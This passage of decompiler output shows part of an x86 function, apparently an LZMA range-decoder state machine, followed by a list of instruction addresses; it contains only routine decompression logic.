                                                    								__ecx =  *(__ebp - 0x38);
                                                    								 *(__ebp - 0x84) = 0xb;
                                                    								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                    								goto L132;
                                                    							}
                                                    							__eax =  *(__ebp - 0x28);
                                                    							goto L88;
                                                    						case 0xb:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								__ecx =  *(__ebp - 0x24);
                                                    								__eax =  *(__ebp - 0x20);
                                                    								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    							} else {
                                                    								__eax =  *(__ebp - 0x24);
                                                    							}
                                                    							__ecx =  *(__ebp - 0x28);
                                                    							 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    							L88:
                                                    							__ecx =  *(__ebp - 0x2c);
                                                    							 *(__ebp - 0x2c) = __eax;
                                                    							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    							goto L89;
                                                    						case 0xc:
                                                    							L99:
                                                    							__eflags =  *(__ebp - 0x6c);
                                                    							if( *(__ebp - 0x6c) == 0) {
                                                    								 *(__ebp - 0x88) = 0xc;
                                                    								goto L170;
                                                    							}
                                                    							__ecx =  *(__ebp - 0x70);
                                                    							__eax =  *(__ebp - 0xc);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							_t334 = __ebp - 0x70;
                                                    							 *_t334 =  *(__ebp - 0x70) + 1;
                                                    							__eflags =  *_t334;
                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							__eax =  *(__ebp - 0x2c);
                                                    							goto L101;
                                                    						case 0xd:
                                                    							L37:
                                                    							__eflags =  *(__ebp - 0x6c);
                                                    							if( *(__ebp - 0x6c) == 0) {
                                                    								 *(__ebp - 0x88) = 0xd;
                                                    								goto L170;
                                                    							}
                                                    							__ecx =  *(__ebp - 0x70);
                                                    							__eax =  *(__ebp - 0xc);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							_t122 = __ebp - 0x70;
                                                    							 *_t122 =  *(__ebp - 0x70) + 1;
                                                    							__eflags =  *_t122;
                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							L39:
                                                    							__eax =  *(__ebp - 0x40);
                                                    							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                    								goto L48;
                                                    							}
                                                    							__eflags = __ebx - 0x100;
                                                    							if(__ebx >= 0x100) {
                                                    								goto L54;
                                                    							}
                                                    							L41:
                                                    							__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                    							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                    							__ecx =  *(__ebp - 0x58);
                                                    							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                    							 *(__ebp - 0x48) = __eax;
                                                    							__eax = __eax + 1;
                                                    							__eax = __eax << 8;
                                                    							__eax = __eax + __ebx;
                                                    							__esi =  *(__ebp - 0x58) + __eax * 2;
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    							__ax =  *__esi;
                                                    							 *(__ebp - 0x54) = __esi;
                                                    							__edx = __ax & 0x0000ffff;
                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                    							__eflags =  *(__ebp - 0xc) - __ecx;
                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    								__cx = __ax;
                                                    								 *(__ebp - 0x40) = 1;
                                                    								__cx = __ax >> 5;
                                                    								__eflags = __eax;
                                                    								__ebx = __ebx + __ebx + 1;
                                                    								 *__esi = __ax;
                                                    							} else {
                                                    								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                    								 *(__ebp - 0x10) = __ecx;
                                                    								0x800 = 0x800 - __edx;
                                                    								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                    								__ebx = __ebx + __ebx;
                                                    								 *__esi = __cx;
                                                    							}
                                                    							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    							 *(__ebp - 0x44) = __ebx;
                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                    								goto L39;
                                                    							} else {
                                                    								goto L37;
                                                    							}
                                                    						case 0xe:
                                                    							L46:
                                                    							__eflags =  *(__ebp - 0x6c);
                                                    							if( *(__ebp - 0x6c) == 0) {
                                                    								 *(__ebp - 0x88) = 0xe;
                                                    								goto L170;
                                                    							}
                                                    							__ecx =  *(__ebp - 0x70);
                                                    							__eax =  *(__ebp - 0xc);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							_t156 = __ebp - 0x70;
                                                    							 *_t156 =  *(__ebp - 0x70) + 1;
                                                    							__eflags =  *_t156;
                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							while(1) {
                                                    								L48:
                                                    								__eflags = __ebx - 0x100;
                                                    								if(__ebx >= 0x100) {
                                                    									break;
                                                    								}
                                                    								__eax =  *(__ebp - 0x58);
                                                    								__edx = __ebx + __ebx;
                                                    								__ecx =  *(__ebp - 0x10);
                                                    								__esi = __edx + __eax;
                                                    								__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    								__ax =  *__esi;
                                                    								 *(__ebp - 0x54) = __esi;
                                                    								__edi = __ax & 0x0000ffff;
                                                    								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    								__eflags =  *(__ebp - 0xc) - __ecx;
                                                    								if( *(__ebp - 0xc) >= __ecx) {
                                                    									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    									__cx = __ax;
                                                    									_t170 = __edx + 1; // 0x1
                                                    									__ebx = _t170;
                                                    									__cx = __ax >> 5;
                                                    									__eflags = __eax;
                                                    									 *__esi = __ax;
                                                    								} else {
                                                    									 *(__ebp - 0x10) = __ecx;
                                                    									0x800 = 0x800 - __edi;
                                                    									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    									__ebx = __ebx + __ebx;
                                                    									 *__esi = __cx;
                                                    								}
                                                    								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    								 *(__ebp - 0x44) = __ebx;
                                                    								if( *(__ebp - 0x10) >= 0x1000000) {
                                                    									continue;
                                                    								} else {
                                                    									goto L46;
                                                    								}
                                                    							}
                                                    							L54:
                                                    							_t173 = __ebp - 0x34;
                                                    							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                    							__eflags =  *_t173;
                                                    							goto L55;
                                                    						case 0xf:
                                                    							L58:
                                                    							__eflags =  *(__ebp - 0x6c);
                                                    							if( *(__ebp - 0x6c) == 0) {
                                                    								 *(__ebp - 0x88) = 0xf;
                                                    								goto L170;
                                                    							}
                                                    							__ecx =  *(__ebp - 0x70);
                                                    							__eax =  *(__ebp - 0xc);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							_t203 = __ebp - 0x70;
                                                    							 *_t203 =  *(__ebp - 0x70) + 1;
                                                    							__eflags =  *_t203;
                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							L60:
                                                    							__eflags = __ebx - 0x100;
                                                    							if(__ebx >= 0x100) {
                                                    								L55:
                                                    								__al =  *(__ebp - 0x44);
                                                    								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                    								goto L56;
                                                    							}
                                                    							L61:
                                                    							__eax =  *(__ebp - 0x58);
                                                    							__edx = __ebx + __ebx;
                                                    							__ecx =  *(__ebp - 0x10);
                                                    							__esi = __edx + __eax;
                                                    							__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    							__ax =  *__esi;
                                                    							 *(__ebp - 0x54) = __esi;
                                                    							__edi = __ax & 0x0000ffff;
                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    							__eflags =  *(__ebp - 0xc) - __ecx;
                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    								__cx = __ax;
                                                    								_t217 = __edx + 1; // 0x1
                                                    								__ebx = _t217;
                                                    								__cx = __ax >> 5;
                                                    								__eflags = __eax;
                                                    								 *__esi = __ax;
                                                    							} else {
                                                    								 *(__ebp - 0x10) = __ecx;
                                                    								0x800 = 0x800 - __edi;
                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    								__ebx = __ebx + __ebx;
                                                    								 *__esi = __cx;
                                                    							}
                                                    							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    							 *(__ebp - 0x44) = __ebx;
                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                    								goto L60;
                                                    							} else {
                                                    								goto L58;
                                                    							}
                                                    						case 0x10:
                                                    							L109:
                                                    							__eflags =  *(__ebp - 0x6c);
                                                    							if( *(__ebp - 0x6c) == 0) {
                                                    								 *(__ebp - 0x88) = 0x10;
                                                    								goto L170;
                                                    							}
                                                    							__ecx =  *(__ebp - 0x70);
                                                    							__eax =  *(__ebp - 0xc);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							_t365 = __ebp - 0x70;
                                                    							 *_t365 =  *(__ebp - 0x70) + 1;
                                                    							__eflags =  *_t365;
                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							goto L111;
                                                    						case 0x11:
                                                    							goto L69;
                                                    						case 0x12:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								__eax =  *(__ebp - 0x58);
                                                    								 *(__ebp - 0x84) = 0x13;
                                                    								__esi =  *(__ebp - 0x58) + 2;
                                                    								goto L132;
                                                    							}
                                                    							__eax =  *(__ebp - 0x4c);
                                                    							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                    							__ecx =  *(__ebp - 0x58);
                                                    							__eax =  *(__ebp - 0x4c) << 4;
                                                    							__eflags = __eax;
                                                    							__eax =  *(__ebp - 0x58) + __eax + 4;
                                                    							goto L130;
                                                    						case 0x13:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								_t469 = __ebp - 0x58;
                                                    								 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                    								__eflags =  *_t469;
                                                    								 *(__ebp - 0x30) = 0x10;
                                                    								 *(__ebp - 0x40) = 8;
                                                    								L144:
                                                    								 *(__ebp - 0x7c) = 0x14;
                                                    								goto L145;
                                                    							}
                                                    							__eax =  *(__ebp - 0x4c);
                                                    							__ecx =  *(__ebp - 0x58);
                                                    							__eax =  *(__ebp - 0x4c) << 4;
                                                    							 *(__ebp - 0x30) = 8;
                                                    							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                    							L130:
                                                    							 *(__ebp - 0x58) = __eax;
                                                    							 *(__ebp - 0x40) = 3;
                                                    							goto L144;
                                                    						case 0x14:
                                                    							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                    							__eax =  *(__ebp - 0x80);
                                                    							goto L140;
                                                    						case 0x15:
                                                    							__eax = 0;
                                                    							__eflags =  *(__ebp - 0x38) - 7;
                                                    							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    							__al = __al & 0x000000fd;
                                                    							__eax = (__eflags >= 0) - 1 + 0xb;
                                                    							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                    							goto L120;
                                                    						case 0x16:
                                                    							__eax =  *(__ebp - 0x30);
                                                    							__eflags = __eax - 4;
                                                    							if(__eax >= 4) {
                                                    								_push(3);
                                                    								_pop(__eax);
                                                    							}
                                                    							__ecx =  *(__ebp - 4);
                                                    							 *(__ebp - 0x40) = 6;
                                                    							__eax = __eax << 7;
                                                    							 *(__ebp - 0x7c) = 0x19;
                                                    							 *(__ebp - 0x58) = __eax;
                                                    							goto L145;
                                                    						case 0x17:
                                                    							L145:
                                                    							__eax =  *(__ebp - 0x40);
                                                    							 *(__ebp - 0x50) = 1;
                                                    							 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                    							goto L149;
                                                    						case 0x18:
                                                    							L146:
                                                    							__eflags =  *(__ebp - 0x6c);
                                                    							if( *(__ebp - 0x6c) == 0) {
                                                    								 *(__ebp - 0x88) = 0x18;
                                                    								goto L170;
                                                    							}
                                                    							__ecx =  *(__ebp - 0x70);
                                                    							__eax =  *(__ebp - 0xc);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							_t484 = __ebp - 0x70;
                                                    							 *_t484 =  *(__ebp - 0x70) + 1;
                                                    							__eflags =  *_t484;
                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							L148:
                                                    							_t487 = __ebp - 0x48;
                                                    							 *_t487 =  *(__ebp - 0x48) - 1;
                                                    							__eflags =  *_t487;
                                                    							L149:
                                                    							__eflags =  *(__ebp - 0x48);
                                                    							if( *(__ebp - 0x48) <= 0) {
                                                    								__ecx =  *(__ebp - 0x40);
                                                    								__ebx =  *(__ebp - 0x50);
                                                    								0 = 1;
                                                    								__eax = 1 << __cl;
                                                    								__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                    								__eax =  *(__ebp - 0x7c);
                                                    								 *(__ebp - 0x44) = __ebx;
                                                    								goto L140;
                                                    							}
                                                    							__eax =  *(__ebp - 0x50);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    							__eax =  *(__ebp - 0x58);
                                                    							__esi = __edx + __eax;
                                                    							 *(__ebp - 0x54) = __esi;
                                                    							__ax =  *__esi;
                                                    							__edi = __ax & 0x0000ffff;
                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    							__eflags =  *(__ebp - 0xc) - __ecx;
                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    								__cx = __ax;
                                                    								__cx = __ax >> 5;
                                                    								__eax = __eax - __ecx;
                                                    								__edx = __edx + 1;
                                                    								__eflags = __edx;
                                                    								 *__esi = __ax;
                                                    								 *(__ebp - 0x50) = __edx;
                                                    							} else {
                                                    								 *(__ebp - 0x10) = __ecx;
                                                    								0x800 = 0x800 - __edi;
                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    								 *__esi = __cx;
                                                    							}
                                                    							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                    								goto L148;
                                                    							} else {
                                                    								goto L146;
                                                    							}
                                                    						case 0x19:
                                                    							__eflags = __ebx - 4;
                                                    							if(__ebx < 4) {
                                                    								 *(__ebp - 0x2c) = __ebx;
                                                    								L119:
                                                    								_t393 = __ebp - 0x2c;
                                                    								 *_t393 =  *(__ebp - 0x2c) + 1;
                                                    								__eflags =  *_t393;
                                                    								L120:
                                                    								__eax =  *(__ebp - 0x2c);
                                                    								__eflags = __eax;
                                                    								if(__eax == 0) {
                                                    									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                    									goto L170;
                                                    								}
                                                    								__eflags = __eax -  *(__ebp - 0x60);
                                                    								if(__eax >  *(__ebp - 0x60)) {
                                                    									goto L171;
                                                    								}
                                                    								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                    								__eax =  *(__ebp - 0x30);
                                                    								_t400 = __ebp - 0x60;
                                                    								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                    								__eflags =  *_t400;
                                                    								goto L123;
                                                    							}
                                                    							__ecx = __ebx;
                                                    							__eax = __ebx;
                                                    							__ecx = __ebx >> 1;
                                                    							__eax = __ebx & 0x00000001;
                                                    							__ecx = (__ebx >> 1) - 1;
                                                    							__al = __al | 0x00000002;
                                                    							__eax = (__ebx & 0x00000001) << __cl;
                                                    							__eflags = __ebx - 0xe;
                                                    							 *(__ebp - 0x2c) = __eax;
                                                    							if(__ebx >= 0xe) {
                                                    								__ebx = 0;
                                                    								 *(__ebp - 0x48) = __ecx;
                                                    								L102:
                                                    								__eflags =  *(__ebp - 0x48);
                                                    								if( *(__ebp - 0x48) <= 0) {
                                                    									__eax = __eax + __ebx;
                                                    									 *(__ebp - 0x40) = 4;
                                                    									 *(__ebp - 0x2c) = __eax;
                                                    									__eax =  *(__ebp - 4);
                                                    									__eax =  *(__ebp - 4) + 0x644;
                                                    									__eflags = __eax;
                                                    									L108:
                                                    									__ebx = 0;
                                                    									 *(__ebp - 0x58) = __eax;
                                                    									 *(__ebp - 0x50) = 1;
                                                    									 *(__ebp - 0x44) = 0;
                                                    									 *(__ebp - 0x48) = 0;
                                                    									L112:
                                                    									__eax =  *(__ebp - 0x40);
                                                    									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                    										_t391 = __ebp - 0x2c;
                                                    										 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                    										__eflags =  *_t391;
                                                    										goto L119;
                                                    									}
                                                    									__eax =  *(__ebp - 0x50);
                                                    									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    									__eax =  *(__ebp - 0x58);
                                                    									__esi = __edi + __eax;
                                                    									 *(__ebp - 0x54) = __esi;
                                                    									__ax =  *__esi;
                                                    									__ecx = __ax & 0x0000ffff;
                                                    									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                    									__eflags =  *(__ebp - 0xc) - __edx;
                                                    									if( *(__ebp - 0xc) >= __edx) {
                                                    										__ecx = 0;
                                                    										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                    										__ecx = 1;
                                                    										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                    										__ebx = 1;
                                                    										__ecx =  *(__ebp - 0x48);
                                                    										__ebx = 1 << __cl;
                                                    										__ecx = 1 << __cl;
                                                    										__ebx =  *(__ebp - 0x44);
                                                    										__ebx =  *(__ebp - 0x44) | __ecx;
                                                    										__cx = __ax;
                                                    										__cx = __ax >> 5;
                                                    										__eax = __eax - __ecx;
                                                    										__edi = __edi + 1;
                                                    										__eflags = __edi;
                                                    										 *(__ebp - 0x44) = __ebx;
                                                    										 *__esi = __ax;
                                                    										 *(__ebp - 0x50) = __edi;
                                                    									} else {
                                                    										 *(__ebp - 0x10) = __edx;
                                                    										0x800 = 0x800 - __ecx;
                                                    										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                    										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    										 *__esi = __dx;
                                                    									}
                                                    									__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    									if( *(__ebp - 0x10) >= 0x1000000) {
                                                    										L111:
                                                    										_t368 = __ebp - 0x48;
                                                    										 *_t368 =  *(__ebp - 0x48) + 1;
                                                    										__eflags =  *_t368;
                                                    										goto L112;
                                                    									} else {
                                                    										goto L109;
                                                    									}
                                                    								}
                                                    								__ecx =  *(__ebp - 0xc);
                                                    								__ebx = __ebx + __ebx;
                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                    								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    								 *(__ebp - 0x44) = __ebx;
                                                    								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                    									__ecx =  *(__ebp - 0x10);
                                                    									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    									__ebx = __ebx | 0x00000001;
                                                    									__eflags = __ebx;
                                                    									 *(__ebp - 0x44) = __ebx;
                                                    								}
                                                    								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    								if( *(__ebp - 0x10) >= 0x1000000) {
                                                    									L101:
                                                    									_t338 = __ebp - 0x48;
                                                    									 *_t338 =  *(__ebp - 0x48) - 1;
                                                    									__eflags =  *_t338;
                                                    									goto L102;
                                                    								} else {
                                                    									goto L99;
                                                    								}
                                                    							}
                                                    							__edx =  *(__ebp - 4);
                                                    							__eax = __eax - __ebx;
                                                    							 *(__ebp - 0x40) = __ecx;
                                                    							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                    							goto L108;
                                                    						case 0x1a:
                                                    							L56:
                                                    							__eflags =  *(__ebp - 0x64);
                                                    							if( *(__ebp - 0x64) == 0) {
                                                    								 *(__ebp - 0x88) = 0x1a;
                                                    								goto L170;
                                                    							}
                                                    							__ecx =  *(__ebp - 0x68);
                                                    							__al =  *(__ebp - 0x5c);
                                                    							__edx =  *(__ebp - 8);
                                                    							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    							 *( *(__ebp - 0x68)) = __al;
                                                    							__ecx =  *(__ebp - 0x14);
                                                    							 *(__ecx +  *(__ebp - 8)) = __al;
                                                    							__eax = __ecx + 1;
                                                    							__edx = 0;
                                                    							_t192 = __eax %  *(__ebp - 0x74);
                                                    							__eax = __eax /  *(__ebp - 0x74);
                                                    							__edx = _t192;
                                                    							goto L79;
                                                    						case 0x1b:
                                                    							goto L75;
                                                    						case 0x1c:
                                                    							while(1) {
                                                    								L123:
                                                    								__eflags =  *(__ebp - 0x64);
                                                    								if( *(__ebp - 0x64) == 0) {
                                                    									break;
                                                    								}
                                                    								__eax =  *(__ebp - 0x14);
                                                    								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    								__eflags = __eax -  *(__ebp - 0x74);
                                                    								if(__eax >=  *(__ebp - 0x74)) {
                                                    									__eax = __eax +  *(__ebp - 0x74);
                                                    									__eflags = __eax;
                                                    								}
                                                    								__edx =  *(__ebp - 8);
                                                    								__cl =  *(__eax + __edx);
                                                    								__eax =  *(__ebp - 0x14);
                                                    								 *(__ebp - 0x5c) = __cl;
                                                    								 *(__eax + __edx) = __cl;
                                                    								__eax = __eax + 1;
                                                    								__edx = 0;
                                                    								_t414 = __eax %  *(__ebp - 0x74);
                                                    								__eax = __eax /  *(__ebp - 0x74);
                                                    								__edx = _t414;
                                                    								__eax =  *(__ebp - 0x68);
                                                    								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                    								__eflags =  *(__ebp - 0x30);
                                                    								 *( *(__ebp - 0x68)) = __cl;
                                                    								 *(__ebp - 0x14) = _t414;
                                                    								if( *(__ebp - 0x30) > 0) {
                                                    									continue;
                                                    								} else {
                                                    									goto L80;
                                                    								}
                                                    							}
                                                    							 *(__ebp - 0x88) = 0x1c;
                                                    							goto L170;
                                                    					}
                                                    				}
                                                    			}













                                                    0x00000000
                                                    0x004070ab
                                                    0x004070ab
                                                    0x004070af
                                                    0x00407166
                                                    0x00407169
                                                    0x00407175
                                                    0x00407056
                                                    0x00407056
                                                    0x00407059
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073d4
                                                    0x004073da
                                                    0x004073e0
                                                    0x004073fa
                                                    0x004073fd
                                                    0x00407403
                                                    0x0040740e
                                                    0x00407410
                                                    0x004073e2
                                                    0x004073e2
                                                    0x004073f1
                                                    0x004073f5
                                                    0x004073f5
                                                    0x0040741a
                                                    0x00407441
                                                    0x00407441
                                                    0x00407447
                                                    0x00407447
                                                    0x00000000
                                                    0x0040741c
                                                    0x0040741c
                                                    0x00407420
                                                    0x004075cf
                                                    0x00000000
                                                    0x004075cf
                                                    0x0040742c
                                                    0x00407433
                                                    0x0040743b
                                                    0x0040743e
                                                    0x00000000
                                                    0x0040743e
                                                    0x004070b5
                                                    0x004070b9
                                                    0x004075fa
                                                    0x004075fa
                                                    0x004075fd
                                                    0x00407601
                                                    0x00407601
                                                    0x004070bf
                                                    0x004070c5
                                                    0x004070c8
                                                    0x004070cc
                                                    0x004070cf
                                                    0x004070d3
                                                    0x00407599
                                                    0x004075e5
                                                    0x004075ed
                                                    0x004075f4
                                                    0x004075f6
                                                    0x00000000
                                                    0x004075f6
                                                    0x004070d9
                                                    0x004070dc
                                                    0x004070e2
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e7
                                                    0x004070ea
                                                    0x004070ed
                                                    0x004070f0
                                                    0x004070f3
                                                    0x004070f6
                                                    0x004070f7
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070fc
                                                    0x004070ff
                                                    0x00407102
                                                    0x00407105
                                                    0x00407105
                                                    0x00407108
                                                    0x0040710a
                                                    0x0040710a
                                                    0x0040710d
                                                    0x0040710d
                                                    0x0040710d
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406bec
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x00000000
                                                    0x00406bfd
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c06
                                                    0x00406c09
                                                    0x00406c0c
                                                    0x00406c10
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c16
                                                    0x00406c19
                                                    0x00406c1b
                                                    0x00406c1c
                                                    0x00406c1f
                                                    0x00406c21
                                                    0x00406c22
                                                    0x00406c24
                                                    0x00406c27
                                                    0x00406c2c
                                                    0x00406c31
                                                    0x00406c3a
                                                    0x00406c4d
                                                    0x00406c50
                                                    0x00406c5c
                                                    0x00406c84
                                                    0x00406c86
                                                    0x00406c94
                                                    0x00406c94
                                                    0x00406c98
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c88
                                                    0x00406c8b
                                                    0x00406c8c
                                                    0x00406c8c
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c62
                                                    0x00406c67
                                                    0x00406c67
                                                    0x00406c70
                                                    0x00406c78
                                                    0x00406c7b
                                                    0x00000000
                                                    0x00406c81
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c9e
                                                    0x00406c9e
                                                    0x00406ca2
                                                    0x0040754e
                                                    0x00000000
                                                    0x0040754e
                                                    0x00406cab
                                                    0x00406cbb
                                                    0x00406cbe
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc4
                                                    0x00406cc8
                                                    0x00000000
                                                    0x00000000
                                                    0x00406cca
                                                    0x00406cd0
                                                    0x00406cfa
                                                    0x00406d00
                                                    0x00406d07
                                                    0x00000000
                                                    0x00406d07
                                                    0x00406cd6
                                                    0x00406cd9
                                                    0x00406cde
                                                    0x00406cde
                                                    0x00406ce9
                                                    0x00406cf1
                                                    0x00406cf4
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
